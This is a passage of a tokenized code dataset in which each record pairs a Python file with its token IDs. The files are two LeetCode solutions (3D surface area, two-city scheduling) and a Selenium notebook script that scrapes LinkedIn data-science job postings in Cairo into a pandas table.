1273,
313,
13,
418,
1583,
29889,
9202,
29889,
29876,
29918,
16744,
3285,
851,
29898,
1311,
29889,
10700,
9265,
876,
13,
13,
29871,
822,
1423,
29918,
1195,
326,
1891,
29918,
5030,
2410,
29918,
29888,
29918,
29916,
29918,
8508,
29898,
1311,
29892,
285,
29918,
29916,
29918,
8508,
29892,
20341,
749,
29922,
29896,
29889,
29872,
29899,
29941,
1125,
13,
1678,
7483,
29918,
29888,
29918,
29916,
29918,
8508,
353,
29871,
29900,
29889,
29945,
29930,
29888,
29918,
29916,
29918,
8508,
29889,
12324,
580,
1068,
29906,
13,
1678,
565,
313,
5030,
2410,
29918,
29888,
29918,
29916,
29918,
8508,
1405,
1583,
29889,
5030,
2410,
29918,
29888,
29918,
29916,
29918,
8508,
1125,
13,
418,
4974,
7483,
29918,
29888,
29918,
29916,
29918,
8508,
529,
20341,
749,
29892,
313,
13,
4706,
7483,
29918,
29888,
29918,
29916,
29918,
8508,
29892,
1583,
29889,
5030,
2410,
29918,
29888,
29918,
29916,
29918,
8508,
29897,
13,
418,
565,
313,
1311,
29889,
369,
15828,
1125,
13,
4706,
1596,
376,
29871,
399,
25614,
29901,
6260,
2133,
5486,
3192,
304,
7200,
10995,
950,
613,
320,
13,
3986,
376,
27603,
2441,
1650,
6160,
13,
4706,
1596,
376,
1678,
2441,
29901,
613,
1583,
29889,
5030,
2410,
29918,
29888,
29918,
29916,
29918,
8508,
13,
418,
4974,
1583,
29889,
10700,
9265,
13,
13,
29871,
822,
285,
29898,
1311,
29892,
921,
1125,
13,
1678,
6216,
353,
330,
17019,
29889,
9202,
29898,
13,
418,
1583,
29889,
9202,
29889,
2371,
29918,
29916,
3285,
1583,
29889,
9202,
29889,
2371,
29918,
29891,
3285,
1583,
29889,
9202,
29889,
2371,
29918,
18816,
8247,
3285,
13,
418,
330,
17019,
29889,
2083,
29898,
29916,
876,
13,
1678,
736,
6216,
29889,
29881,
8349,
2063,
580,
13,
13,
29871,
822,
432,
562,
711,
713,
29918,
7054,
3637,
936,
29898,
1311,
29892,
921,
1125,
13,
1678,
6216,
353,
330,
17019,
29889,
9202,
29898,
13,
418,
1583,
29889,
9202,
29889,
2371,
29918,
29916,
3285,
1583,
29889,
9202,
29889,
2371,
29918,
29891,
3285,
1583,
29889,
9202,
29889,
2371,
29918,
18816,
8247,
3285,
13,
418,
330,
17019,
29889,
2083,
29898,
29916,
876,
13,
1678,
736,
6216,
29889,
280,
579,
29918,
26613,
5114,
29918,
29926,
562,
711,
713,
29918,
10736,
580,
13,
13,
29871,
822,
298,
404,
713,
29918,
7054,
3637,
936,
29898,
1311,
29892,
921,
1125,
13,
1678,
432,
353,
1583,
29889,
29926,
562,
711,
713,
29918,
7054,
3637,
936,
29898,
29916,
29922,
29916,
29897,
13,
1678,
6216,
353,
330,
17019,
29889,
9202,
29898,
13,
418,
1583,
29889,
9202,
29889,
2371,
29918,
29916,
3285,
1583,
29889,
9202,
29889,
2371,
29918,
29891,
3285,
1583,
29889,
9202,
29889,
2371,
29918,
18816,
8247,
3285,
13,
418,
330,
17019,
29889,
2083,
29898,
29916,
876,
13,
1678,
736,
6216,
29889,
280,
579,
29918,
26613,
5114,
29918,
29882,
404,
713,
29918,
10736,
29918,
294,
29918,
4058,
287,
29918,
29884,
580,
320,
13,
418,
869,
5344,
29918,
4058,
287,
29918,
29884,
29918,
294,
29918,
11967,
16414,
580,
13,
13,
1753,
15058,
29918,
9202,
29918,
29926,
562,
711,
713,
29918,
392,
29918,
29882,
404,
713,
29898,
369,
15828,
1125,
13,
29871,
363,
4434,
29918,
9202,
297,
518,
4287,
6718,
29918,
9202,
29918,
29896,
29892,
22004,
29918,
9202,
29918,
29906,
29892,
22004,
29918,
9202,
29918,
29941,
29892,
13,
462,
29871,
22004,
29918,
9202,
29918,
29946,
29892,
22004,
29918,
9202,
29918,
29945,
29892,
22004,
29918,
9202,
29918,
29953,
29892,
13,
462,
29871,
22004,
29918,
277,
29896,
29929,
29929,
29906,
29892,
22004,
29918,
29893,
29895,
29896,
29929,
29929,
29945,
5387,
13,
1678,
363,
22786,
297,
518,
8824,
29892,
5852,
5387,
13,
418,
22004,
29918,
9202,
29898,
3891,
29918,
9202,
29922,
3891,
29918,
9202,
29892,
22786,
29922,
10700,
9265,
29892,
26952,
29922,
369,
15828,
29897,
13,
13,
1753,
1065,
7295,
13,
29871,
15058,
29918,
8489,
580,
13,
29871,
15058,
29918,
2083,
580,
13,
29871,
15058,
29918,
9202,
580,
13,
29871,
15058,
29918,
9202,
29918,
29926,
562,
711,
713,
29918,
392,
29918,
29882,
404,
713,
29898,
369,
15828,
543,
489,
369,
15828,
29908,
297,
10876,
29889,
19218,
29961,
29896,
29901,
2314,
13,
29871,
1596,
3402,
29918,
21970,
29918,
3706,
580,
13,
13,
361,
313,
1649,
978,
1649,
1275,
376,
1649,
3396,
1649,
29908,
1125,
13,
29871,
1065,
580,
13,
2
] |
Python/surface-area-of-3d-shapes.py | RideGreg/LeetCode | 1 | 71304 | <gh_stars>1-10
# Time: O(n^2)
# Space: O(1)
# 892
# On a N * N grid, we place some 1 * 1 * 1 cubes.
#
# Each value v = grid[i][j] represents a tower of v cubes
# placed on top of grid cell (i, j).
#
# Return the total surface area of the resulting shapes.
#
# Example 1:
#
# Input: [[2]]
# Output: 10
# Example 2:
#
# Input: [[1,2],[3,4]]
# Output: 34
# Example 3:
#
# Input: [[1,0],[0,2]]
# Output: 16
# Example 4:
#
# Input: [[1,1,1],[1,0,1],[1,1,1]]
# Output: 32
# Example 5:
#
# Input: [[2,2,2],[2,1,2],[2,2,2]]
# Output: 46
#
# Note:
# - 1 <= N <= 50
# - 0 <= grid[i][j] <= 50
class Solution(object):
def surfaceArea(self, grid): # USE THIS: minus joint surface, 36 ms
"""
:type grid: List[List[int]]
:rtype: int
"""
result = 0
for i in xrange(len(grid)):
for j in xrange(len(grid)):
if grid[i][j]:
result += 2 + grid[i][j]*4
if i:
result -= min(grid[i][j], grid[i-1][j])*2
if j:
result -= min(grid[i][j], grid[i][j-1])*2
return result
# look at 4 neighbors of each cell, add contribution if higher than neighbor. Avoid double count
# 56 ms
def surfaceArea2(self, grid):
n, ans = len(grid), 0
for i in xrange(n):
for j in xrange(n):
if grid[i][j]:
ans += 2
for nx, ny in [(i-1,j),(i,j-1),(i+1,j),(i,j+1)]:
if 0<=nx<n and 0<=ny<n:
nei_val = grid[nx][ny]
else:
nei_val = 0
ans += max(0, grid[i][j]-nei_val)
return ans
# add difference between neighboring cells: iterate more times
def surfaceArea3(self, grid):
ans = 0
for row in grid:
ans += 2*sum(c>0 for c in row)
rrow = [0]+row+[0]
ans += sum(abs(rrow[i]-rrow[i+1]) for i in xrange(len(rrow)-1))
for col in zip(*grid):
col = (0,)+col+(0,) # KENG: zip's result is tuple which cannot concatenate to list
ans += sum(abs(col[i]-col[i+1]) for i in xrange(len(col)-1))
return ans
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
5974,
29901,
29871,
438,
29898,
29876,
29985,
29906,
29897,
13,
29937,
14121,
29901,
438,
29898,
29896,
29897,
13,
13,
29937,
29871,
29947,
29929,
29906,
13,
29937,
1551,
263,
405,
334,
405,
6856,
29892,
591,
2058,
777,
29871,
29896,
334,
29871,
29896,
334,
29871,
29896,
13630,
267,
29889,
13,
29937,
13,
29937,
7806,
995,
325,
353,
6856,
29961,
29875,
3816,
29926,
29962,
11524,
263,
19372,
310,
325,
13630,
267,
13,
29937,
7180,
373,
2246,
310,
6856,
3038,
313,
29875,
29892,
432,
467,
13,
29937,
13,
29937,
7106,
278,
3001,
7101,
4038,
310,
278,
9819,
25834,
29889,
13,
29937,
13,
29937,
8741,
29871,
29896,
29901,
13,
29937,
13,
29937,
10567,
29901,
5519,
29906,
5262,
13,
29937,
10604,
29901,
29871,
29896,
29900,
13,
29937,
8741,
29871,
29906,
29901,
13,
29937,
13,
29937,
10567,
29901,
5519,
29896,
29892,
29906,
16272,
29941,
29892,
29946,
5262,
13,
29937,
10604,
29901,
29871,
29941,
29946,
13,
29937,
8741,
29871,
29941,
29901,
13,
29937,
13,
29937,
10567,
29901,
5519,
29896,
29892,
29900,
16272,
29900,
29892,
29906,
5262,
13,
29937,
10604,
29901,
29871,
29896,
29953,
13,
29937,
8741,
29871,
29946,
29901,
13,
29937,
13,
29937,
10567,
29901,
5519,
29896,
29892,
29896,
29892,
29896,
16272,
29896,
29892,
29900,
29892,
29896,
16272,
29896,
29892,
29896,
29892,
29896,
5262,
13,
29937,
10604,
29901,
29871,
29941,
29906,
13,
29937,
8741,
29871,
29945,
29901,
13,
29937,
13,
29937,
10567,
29901,
5519,
29906,
29892,
29906,
29892,
29906,
16272,
29906,
29892,
29896,
29892,
29906,
16272,
29906,
29892,
29906,
29892,
29906,
5262,
13,
29937,
10604,
29901,
29871,
29946,
29953,
13,
29937,
13,
29937,
3940,
29901,
13,
29937,
448,
29871,
29896,
5277,
405,
5277,
29871,
29945,
29900,
13,
29937,
448,
29871,
29900,
5277,
6856,
29961,
29875,
3816,
29926,
29962,
5277,
29871,
29945,
29900,
13,
13,
1990,
24380,
29898,
3318,
1125,
13,
1678,
822,
7101,
13799,
29898,
1311,
29892,
6856,
1125,
396,
501,
1660,
3446,
3235,
29901,
26134,
14002,
7101,
29892,
29871,
29941,
29953,
10887,
13,
4706,
9995,
13,
4706,
584,
1853,
6856,
29901,
2391,
29961,
1293,
29961,
524,
5262,
13,
4706,
584,
29878,
1853,
29901,
938,
13,
4706,
9995,
13,
4706,
1121,
353,
29871,
29900,
13,
4706,
363,
474,
297,
921,
3881,
29898,
2435,
29898,
7720,
22164,
13,
9651,
363,
432,
297,
921,
3881,
29898,
2435,
29898,
7720,
22164,
13,
18884,
565,
6856,
29961,
29875,
3816,
29926,
5387,
13,
462,
1678,
1121,
4619,
29871,
29906,
718,
6856,
29961,
29875,
3816,
29926,
14178,
29946,
13,
18884,
565,
474,
29901,
13,
462,
1678,
1121,
22361,
1375,
29898,
7720,
29961,
29875,
3816,
29926,
1402,
6856,
29961,
29875,
29899,
29896,
3816,
29926,
2314,
29930,
29906,
13,
18884,
565,
432,
29901,
13,
462,
1678,
1121,
22361,
1375,
29898,
7720,
29961,
29875,
3816,
29926,
1402,
6856,
29961,
29875,
3816,
29926,
29899,
29896,
2314,
29930,
29906,
13,
4706,
736,
1121,
13,
13,
1678,
396,
1106,
472,
29871,
29946,
22092,
943,
310,
1269,
3038,
29892,
788,
11896,
565,
6133,
1135,
12307,
29889,
319,
5405,
3765,
2302,
13,
1678,
396,
29871,
29945,
29953,
10887,
13,
1678,
822,
7101,
13799,
29906,
29898,
1311,
29892,
6856,
1125,
13,
4706,
302,
29892,
6063,
353,
7431,
29898,
7720,
511,
29871,
29900,
13,
4706,
363,
474,
297,
921,
3881,
29898,
29876,
1125,
13,
9651,
363,
432,
297,
921,
3881,
29898,
29876,
1125,
13,
18884,
565,
6856,
29961,
29875,
3816,
29926,
5387,
13,
462,
1678,
6063,
4619,
29871,
29906,
13,
462,
1678,
363,
302,
29916,
29892,
7098,
297,
17288,
29875,
29899,
29896,
29892,
29926,
21336,
29875,
29892,
29926,
29899,
29896,
21336,
29875,
29974,
29896,
29892,
29926,
21336,
29875,
29892,
29926,
29974,
29896,
4638,
29901,
13,
462,
4706,
565,
29871,
29900,
14065,
23818,
29966,
29876,
322,
29871,
29900,
14065,
1460,
29966,
29876,
29901,
13,
462,
9651,
12106,
29918,
791,
353,
6856,
29961,
23818,
3816,
1460,
29962,
13,
462,
4706,
1683,
29901,
13,
462,
9651,
12106,
29918,
791,
353,
29871,
29900,
13,
462,
4706,
6063,
4619,
4236,
29898,
29900,
29892,
6856,
29961,
29875,
3816,
29926,
29962,
29899,
484,
29875,
29918,
791,
29897,
13,
4706,
736,
6063,
13,
13,
1678,
396,
788,
4328,
1546,
12307,
292,
9101,
29901,
13649,
901,
3064,
13,
1678,
822,
7101,
13799,
29941,
29898,
1311,
29892,
6856,
1125,
13,
4706,
6063,
353,
29871,
29900,
13,
4706,
363,
1948,
297,
6856,
29901,
13,
9651,
6063,
4619,
29871,
29906,
29930,
2083,
29898,
29883,
29958,
29900,
363,
274,
297,
1948,
29897,
13,
9651,
364,
798,
353,
518,
29900,
10062,
798,
29974,
29961,
29900,
29962,
13,
9651,
6063,
4619,
2533,
29898,
6897,
29898,
29878,
798,
29961,
29875,
29962,
29899,
29878,
798,
29961,
29875,
29974,
29896,
2314,
363,
474,
297,
921,
3881,
29898,
2435,
29898,
29878,
798,
6817,
29896,
876,
13,
4706,
363,
784,
297,
14319,
10456,
7720,
1125,
13,
9651,
784,
353,
313,
29900,
29892,
7240,
1054,
17108,
29900,
29892,
29897,
396,
476,
1430,
29954,
29901,
14319,
29915,
29879,
1121,
338,
18761,
607,
2609,
16125,
403,
304,
1051,
13,
9651,
6063,
4619,
2533,
29898,
6897,
29898,
1054,
29961,
29875,
29962,
29899,
1054,
29961,
29875,
29974,
29896,
2314,
363,
474,
297,
921,
3881,
29898,
2435,
29898,
1054,
6817,
29896,
876,
13,
4706,
736,
6063,
13,
2
] |
weekly-context-133/two-city-scheduling.py | elfgzp/leetCode | 3 | 157072 | <filename>weekly-context-133/two-city-scheduling.py<gh_stars>1-10
from typing import List
class Solution:
def twoCitySchedCost(self, costs: List[List[int]]) -> int:
# costs.sort(key=lambda x: (-(abs(x[0] - x[1])), x[0] + x[1]))
costs.sort(key=lambda x: -(abs(x[0] - x[1])))
half = len(costs) // 2
count_a = 0
count_b = 0
res = 0
for a, b in costs:
if (a < b and count_a < half) or count_b == half:
res += a
count_a += 1
else:
res += b
count_b += 1
return res | [
1,
529,
9507,
29958,
18448,
368,
29899,
4703,
29899,
29896,
29941,
29941,
29914,
10184,
29899,
12690,
29899,
816,
287,
19478,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
3166,
19229,
1053,
2391,
13,
13,
13,
1990,
24380,
29901,
13,
1678,
822,
1023,
16885,
4504,
287,
25733,
29898,
1311,
29892,
21544,
29901,
2391,
29961,
1293,
29961,
524,
24960,
1599,
938,
29901,
13,
4706,
396,
21544,
29889,
6605,
29898,
1989,
29922,
2892,
921,
29901,
8521,
29898,
6897,
29898,
29916,
29961,
29900,
29962,
448,
921,
29961,
29896,
2314,
511,
921,
29961,
29900,
29962,
718,
921,
29961,
29896,
12622,
13,
4706,
21544,
29889,
6605,
29898,
1989,
29922,
2892,
921,
29901,
19691,
6897,
29898,
29916,
29961,
29900,
29962,
448,
921,
29961,
29896,
29962,
4961,
13,
308,
13,
4706,
4203,
353,
7431,
29898,
18253,
29879,
29897,
849,
29871,
29906,
13,
4706,
2302,
29918,
29874,
353,
29871,
29900,
13,
4706,
2302,
29918,
29890,
353,
29871,
29900,
13,
4706,
620,
353,
29871,
29900,
13,
308,
13,
4706,
363,
263,
29892,
289,
297,
21544,
29901,
13,
9651,
565,
313,
29874,
529,
289,
322,
2302,
29918,
29874,
529,
4203,
29897,
470,
2302,
29918,
29890,
1275,
4203,
29901,
13,
18884,
620,
4619,
263,
13,
18884,
2302,
29918,
29874,
4619,
29871,
29896,
13,
9651,
1683,
29901,
13,
18884,
620,
4619,
289,
13,
18884,
2302,
29918,
29890,
4619,
29871,
29896,
13,
462,
13,
308,
13,
4706,
736,
620,
2
] |
Linked-in Job scrapper.py | MMallah/Linked-in-Job-scrapper | 0 | 32377 | <reponame>MMallah/Linked-in-Job-scrapper
#!/usr/bin/env python
# coding: utf-8
# # Project Data Science Desired Skills
#
# this project will Answer the question of what are the most desired skills for Data Science in Egypt and UAE.
# * Extract data from Linked in Via webscrapping or Manually.
# * Perform data wrangling ( image recognition or NLP).
# * Segment the the job market based on skills.
# * Analyze the skill growth over time.
# Import libraries
# In[134]:
from selenium import webdriver
from selenium.webdriver.common.by import By
import pandas as pd
from scrapy import selector
import time
import operator
from functools import reduce
# ## step 1 Importing Data
#
# #### Selenium driver for chrome
# In[78]:
# instantiate a webdriver
driver = webdriver.Chrome('C:\\Users\\mosta\\Downloads\\chromedriver_win32\\chromedriver.exe')
# In[79]:
# use chrome to get the desired url
driver.get('https://www.linkedin.com/jobs/search/?geoId=102007122&keywords=data%20scientist&location=Cairo%2C%20Egypt')
# In[61]:
# the job card container(link for job)
full_card_link= driver.find_elements_by_class_name("result-card__full-card-link")
# In[62]:
# view the Selenium elment count
len(full_card_link)
# In[66]:
link_list=[]
for e in full_card_link:
link_list.append(e.get_attribute('href'))
# In[67]:
len(link_list)
# In[166]:
# In[187]:
for l in range(len(link_list)):
print(link_list[l])
# In[122]:
# create list place holder for data
job_title=[]
company=[]
location=[]
posting_date=[]
applicants_count=[]
job_description=[]
job_seniority_level=[]
employment_type=[]
industry=[]
job_function=[]
# In[237]:
# create a function to iterate over job links
def get_job(links):
''' function to import the required data (10 specifications) from the search url'''
for link in range(len(links)):
driver.get(links[link])
job_title.append(driver.find_element_by_class_name("topcard__title").text)
company.append(driver.find_element_by_class_name('topcard__flavor').text)
location.append(driver.find_element_by_xpath('//*[@id="main-content"]/section[1]/section[2]/div[1]/div[1]/h3[1]/span[2]').text)
posting_date.append(driver.find_element_by_xpath('//*[@id="main-content"]/section[1]/section[2]/div[1]/div[1]/h3[2]/span[1]').text)
try:
applicants_count.append(driver.find_element_by_xpath('//*[@id="main-content"]/section[1]/section[2]/div[1]/div[1]/h3[2]/span[2]').text)
except:
applicants_count.append('')
job_description.append(driver.find_element_by_xpath('//*[@id="main-content"]/section[1]/section[3]/div/section/div').text)
try:
job_seniority_level.append(driver.find_element_by_xpath('//*[@id="main-content"]/section[1]/section[3]/ul/li[1]/span').text)
except:
job_seniority_level.append('')
employment_type.append(driver.find_element_by_xpath('//*[@id="main-content"]/section[1]/section[3]/ul/li[2]/span').text)
industry.append(driver.find_element_by_xpath('//*[@id="main-content"]/section[1]/section[3]/ul/li[4]/span').text)
job_function.append(reduce(operator.concat,
[(e.text+ ", ") for e in driver.find_elements_by_xpath('//*[@id="main-content"]/section[1]/section[3]/ul/li[3]/span')]))
time.sleep(5)
# In[241]:
#company
# In[239]:
#use the function to import the data
get_job(link_list)
# In[243]:
# convert lists acqquired to a dataframe
data= pd.DataFrame(list(zip(job_title, company, location, posting_date, applicants_count, job_description, job_seniority_level,
employment_type, industry, job_function)),
columns=['job_title', 'company', 'location', 'posting_date', 'applicants_count', 'job_description', 'job_seniority_level',
'employment_type', 'industry', 'job_function'])
# In[245]:
data.info()
# In[200]:
# job title
#print(driver.find_element_by_class_name("topcard__title").text)
# In[98]:
# company
#print(driver.find_element_by_class_name('topcard__flavor').text)
# In[107]:
# job location
#print(driver.find_element_by_xpath('//*[@id="main-content"]/section[1]/section[2]/div[1]/div[1]/h3[1]/span[2]').text)
# In[110]:
# posting date
#print(driver.find_element_by_xpath('//*[@id="main-content"]/section[1]/section[2]/div[1]/div[1]/h3[2]/span[1]').text)
# In[112]:
# number of applicants
#rint(driver.find_element_by_xpath('//*[@id="main-content"]/section[1]/section[2]/div[1]/div[1]/h3[2]/span[2]').text)
# In[113]:
# description
#print(driver.find_element_by_xpath('//*[@id="main-content"]/section[1]/section[3]/div/section/div').text)
# In[206]:
# job_seniority_level
#print(driver.find_element_by_xpath('//*[@id="main-content"]/section[1]/section[3]/ul/li[1]/span').text)
# In[114]:
# employment_type
#print(driver.find_element_by_xpath('//*[@id="main-content"]/section[1]/section[3]/ul/li[2]/span').text)
# In[119]:
# job_function
for e in(driver.find_elements_by_xpath('//*[@id="main-content"]/section[1]/section[3]/ul/li[3]/span')):
print(e.text)
# In[145]:
#test=[]
#test.append(reduce(operator.concat,
# [(e.text+ ", ") for e in driver.find_elements_by_xpath('//*[@id="main-content"]/section[1]/section[3]/ul/li[3]/span')]))
# In[146]:
test
# In[120]:
# industry
#print(driver.find_element_by_xpath('//*[@id="main-content"]/section[1]/section[3]/ul/li[4]/span').text)
# In[10]:
#job_card = driver.find_elements_by_class_name("results__detail-view")
# In[147]:
#for e in job_card:
# print(e.text)
# In[ ]:
# the right rail, jobs-search job details container
#body > div.application-outlet > div.authentication-outlet > div.job-search-ext > div > div > section.jobs-search__right-rail > div
# In[ ]:
# the path for the header
#/html/body/main/div/section[2]/ul/li[1]/a
# In[ ]:
# the show more tab where body is located
#/html/body/main/section/div[2]/section[2]/div/section/div
| [
1,
529,
276,
1112,
420,
29958,
7428,
284,
8083,
29914,
6595,
287,
29899,
262,
29899,
11947,
29899,
1557,
6794,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
14137,
29901,
23616,
29899,
29947,
13,
13,
29937,
396,
8010,
3630,
9327,
2726,
2859,
4971,
6090,
13,
29937,
29871,
13,
29937,
445,
2060,
674,
673,
278,
1139,
310,
825,
526,
278,
1556,
7429,
25078,
363,
3630,
9327,
297,
12892,
322,
501,
16036,
29889,
13,
29937,
334,
7338,
1461,
848,
515,
28547,
297,
23306,
1856,
1557,
336,
3262,
470,
2315,
1474,
29889,
13,
29937,
334,
27313,
848,
2358,
574,
1847,
313,
1967,
19679,
470,
405,
13208,
467,
13,
29937,
334,
6667,
358,
278,
278,
4982,
9999,
2729,
373,
25078,
29889,
13,
29937,
334,
11597,
29891,
911,
278,
19911,
14321,
975,
931,
29889,
13,
13,
29937,
16032,
9562,
13,
13,
29937,
512,
29961,
29896,
29941,
29946,
5387,
13,
13,
13,
3166,
18866,
1053,
1856,
9465,
13,
3166,
18866,
29889,
29813,
29889,
9435,
29889,
1609,
1053,
2648,
13,
5215,
11701,
408,
10518,
13,
3166,
24559,
2272,
1053,
11764,
13,
5215,
931,
13,
5215,
5455,
13,
3166,
2090,
312,
8789,
1053,
10032,
13,
13,
13,
29937,
444,
4331,
29871,
29896,
16032,
292,
3630,
13,
29937,
29871,
13,
13,
29937,
3191,
317,
13462,
7156,
363,
16735,
13,
13,
29937,
512,
29961,
29955,
29947,
5387,
13,
13,
13,
29937,
25112,
263,
1856,
9465,
13,
9465,
353,
1856,
9465,
29889,
1451,
4871,
877,
29907,
22298,
5959,
1966,
3242,
29874,
1966,
6767,
18132,
1966,
27433,
287,
3511,
29918,
5080,
29941,
29906,
1966,
27433,
287,
3511,
29889,
8097,
1495,
13,
13,
13,
29937,
512,
29961,
29955,
29929,
5387,
13,
13,
13,
29937,
671,
16735,
304,
679,
278,
7429,
3142,
13,
9465,
29889,
657,
877,
991,
597,
1636,
29889,
2324,
287,
262,
29889,
510,
29914,
9057,
29879,
29914,
4478,
13401,
24756,
1204,
29922,
29896,
29900,
29906,
29900,
29900,
29955,
29896,
29906,
29906,
29987,
1989,
9303,
29922,
1272,
29995,
29906,
29900,
29879,
15566,
391,
29987,
5479,
29922,
29907,
26025,
29995,
29906,
29907,
29995,
29906,
29900,
29923,
28779,
1495,
13,
13,
13,
29937,
512,
29961,
29953,
29896,
5387,
13,
13,
13,
29937,
278,
4982,
5881,
5639,
29898,
2324,
363,
4982,
29897,
13,
8159,
29918,
7543,
29918,
2324,
29922,
7156,
29889,
2886,
29918,
17664,
29918,
1609,
29918,
1990,
29918,
978,
703,
2914,
29899,
7543,
1649,
8159,
29899,
7543,
29899,
2324,
1159,
13,
13,
13,
29937,
512,
29961,
29953,
29906,
5387,
13,
13,
13,
29937,
1776,
278,
317,
13462,
560,
358,
2302,
13,
2435,
29898,
8159,
29918,
7543,
29918,
2324,
29897,
13,
13,
13,
29937,
512,
29961,
29953,
29953,
5387,
13,
13,
13,
2324,
29918,
1761,
29922,
2636,
13,
1454,
321,
297,
2989,
29918,
7543,
29918,
2324,
29901,
13,
1678,
1544,
29918,
1761,
29889,
4397,
29898,
29872,
29889,
657,
29918,
12715,
877,
12653,
8785,
13,
13,
13,
29937,
512,
29961,
29953,
29955,
5387,
13,
13,
13,
2435,
29898,
2324,
29918,
1761,
29897,
13,
13,
13,
29937,
512,
29961,
29896,
29953,
29953,
5387,
13,
13,
13,
13,
13,
13,
29937,
512,
29961,
29896,
29947,
29955,
5387,
13,
13,
13,
1454,
301,
297,
3464,
29898,
2435,
29898,
2324,
29918,
1761,
22164,
13,
1678,
1596,
29898,
2324,
29918,
1761,
29961,
29880,
2314,
13,
13,
13,
29937,
512,
29961,
29896,
29906,
29906,
5387,
13,
13,
13,
29937,
1653,
1051,
2058,
19464,
363,
848,
13,
9057,
29918,
3257,
29922,
2636,
13,
14518,
29922,
2636,
13,
5479,
29922,
2636,
13,
2490,
292,
29918,
1256,
29922,
2636,
13,
932,
506,
1934,
29918,
2798,
29922,
2636,
13,
9057,
29918,
8216,
29922,
2636,
13,
9057,
29918,
4881,
1611,
537,
29918,
5563,
29922,
2636,
13,
3451,
22812,
29918,
1853,
29922,
2636,
13,
20041,
719,
29922,
2636,
13,
9057,
29918,
2220,
29922,
2636,
13,
13,
13,
29937,
512,
29961,
29906,
29941,
29955,
5387,
13,
13,
13,
29937,
1653,
263,
740,
304,
13649,
975,
4982,
2988,
13,
13,
1753,
679,
29918,
9057,
29898,
4965,
1125,
13,
1678,
14550,
740,
304,
1053,
278,
3734,
848,
313,
29896,
29900,
2702,
800,
29897,
515,
278,
2740,
3142,
12008,
13,
1678,
363,
1544,
297,
3464,
29898,
2435,
29898,
4965,
22164,
13,
4706,
7156,
29889,
657,
29898,
4965,
29961,
2324,
2314,
13,
4706,
4982,
29918,
3257,
29889,
4397,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
1990,
29918,
978,
703,
3332,
7543,
1649,
3257,
2564,
726,
29897,
13,
4706,
5001,
29889,
4397,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
1990,
29918,
978,
877,
3332,
7543,
1649,
29888,
4112,
272,
2824,
726,
29897,
13,
4706,
4423,
29889,
4397,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29906,
16261,
4563,
29961,
29896,
16261,
4563,
29961,
29896,
16261,
29882,
29941,
29961,
29896,
16261,
9653,
29961,
29906,
29962,
2824,
726,
29897,
13,
4706,
16742,
29918,
1256,
29889,
4397,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29906,
16261,
4563,
29961,
29896,
16261,
4563,
29961,
29896,
16261,
29882,
29941,
29961,
29906,
16261,
9653,
29961,
29896,
29962,
2824,
726,
29897,
13,
4706,
1018,
29901,
13,
9651,
15576,
1934,
29918,
2798,
29889,
4397,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29906,
16261,
4563,
29961,
29896,
16261,
4563,
29961,
29896,
16261,
29882,
29941,
29961,
29906,
16261,
9653,
29961,
29906,
29962,
2824,
726,
29897,
13,
4706,
5174,
29901,
13,
9651,
15576,
1934,
29918,
2798,
29889,
4397,
877,
1495,
13,
4706,
4982,
29918,
8216,
29889,
4397,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29941,
16261,
4563,
29914,
2042,
29914,
4563,
2824,
726,
29897,
13,
4706,
1018,
29901,
13,
9651,
4982,
29918,
4881,
1611,
537,
29918,
5563,
29889,
4397,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29941,
16261,
352,
29914,
492,
29961,
29896,
16261,
9653,
2824,
726,
29897,
13,
4706,
5174,
29901,
13,
9651,
4982,
29918,
4881,
1611,
537,
29918,
5563,
29889,
4397,
877,
1495,
13,
4706,
5703,
358,
29918,
1853,
29889,
4397,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29941,
16261,
352,
29914,
492,
29961,
29906,
16261,
9653,
2824,
726,
29897,
13,
4706,
13661,
29889,
4397,
29898,
9465,
29889,
2886,
29918,
5029,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29941,
16261,
352,
29914,
492,
29961,
29946,
16261,
9653,
2824,
726,
29897,
13,
4706,
4982,
29918,
2220,
29889,
4397,
29898,
17469,
29898,
6891,
29889,
17685,
29892,
13,
965,
17288,
29872,
29889,
726,
29974,
9162,
16521,
363,
321,
297,
7156,
29889,
2886,
29918,
17664,
29918,
1609,
29918,
23635,
877,
458,
29930,
17548,
333,
543,
3396,
29899,
3051,
3108,
29914,
2042,
29961,
29896,
16261,
2042,
29961,
29941,
16261,
352,
29914,
492,
29961,
29941,
16261,
9653,
1495,
12622,
13,
4706,
931,
29889,
17059,
29898,
29945,
29897,
13,
13,
13,
29937,
512,
29961,
29906,
29946,
29896,
5387,
13,
13,
13,
29937,
14518,
13,
13,
13,
29937,
512,
29961,
29906,
29941,
29929,
5387,
13,
13,
13,
29937,
1509,
278,
740,
304,
1053,
278,
848,
13,
657,
29918,
9057,
29898,
2324,
29918,
1761,
29897,
13,
13,
13,
29937,
512,
29961,
29906,
29946,
29941,
5387,
13,
13,
13,
29937,
3588,
8857,
1274,
29939,
5958,
304,
263,
